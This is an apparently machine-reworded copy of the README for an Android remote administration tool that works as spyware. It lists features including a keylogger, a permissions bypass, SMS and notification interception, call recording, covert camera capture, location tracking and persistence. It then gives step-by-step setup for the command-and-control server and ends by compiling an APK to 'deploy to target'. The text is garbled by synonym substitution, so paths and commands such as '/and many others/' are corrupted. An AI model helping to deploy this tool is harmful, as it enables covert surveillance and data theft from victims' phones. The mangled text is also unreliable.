Distant adminitration instrument for android
Options
- Permissions bypass (android 12 under) https://youtube.com/shorts/-w8H0lkFxb0
- Keylogger https://youtube.com/shorts/Ll9dNrkjFOA
- Notifications listener
- SMS listener
- Telephone name recording
- Picture capturing and screenshots
- Video recording
- Persistence
- Learn & write contacts
- Listing put in purposes
- Obtain & add recordsdata
- Get gadget location
Set up
- Clone repository
console git clone https://github.com/Tomiwa-Ot/moukthar.git
- Set up php, composer, mysql, php-mysql driver, apache2 and a2enmod
- Transfer server recordsdata to
/var/www/html/
and set up dependenciesconsole mv moukthar/Server/* /var/www/html/ cd /var/www/html/c2-server composer set up cd /var/www/html/web-socket/ composer set up cd /var/www chown -R www-data:www-data . chmod -R 777 .
The default credentials are username:android
and password:android
- Create new sql person
mysql CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password'; GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost'; FLUSH PRIVILEGES;
- Set database credentials in
c2-server/.env
andweb-socket/.env
- Execute
database.sql
- Begin internet socket server or deploy as service in linux
console php Server/web-socket/App.php # OR sudo mv Server/websocket.service /and many others/systemd/system/ sudo systemctl daemon-reload sudo systemctl allow websocket.service sudo systemctl begin websocket.service
- Modify
/and many others/apache2/sites-available/000-default.conf
“`consoleServerAdmin webmaster@localhost DocumentRoot /var/www/html/c2-server DirectoryIndex app.php Choices -Indexes ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/entry.log mixed
- Modify
/and many others/apache2/apache2.confxml Remark this part #
Add this - Enhance php file add max dimension
/and many others/php/./apache2/php.iniini ; Enhance dimension to allow massive file uploads from consumer upload_max_filesize = 128M ; Set post_max_size to upload_max_filesize + 1 post_max_size = 129M
- Set internet socket server deal with in
c2-server/src/View/residence.phpand
c2-server/src/View/options/recordsdata.phpconsole const ws = new WebSocket(‘ws://IP_ADDRESS:8080’);
- Restart apache utilizing the command under
console sudo a2enmod rewrite && sudo service apache2 restart - Set C2 server and internet socket server deal with in consumer
performance/Utils.javajava public static closing String C2_SERVER = “http://localhost”;
public static closing String WEB_SOCKET_SERVER = “ws://localhost:8080”; “` – Compile APK utilizing Android Studio and deploy to focus on
Screenshots
TODO
- Auto scroll logs on dashboard
- Screenshot not working
- Picture/Video capturing would not work when software is not in focus
- Downloading recordsdata in app utilizing DownloadManager not working
- Itemizing constituents of a listing would not listing all recordsdata/folders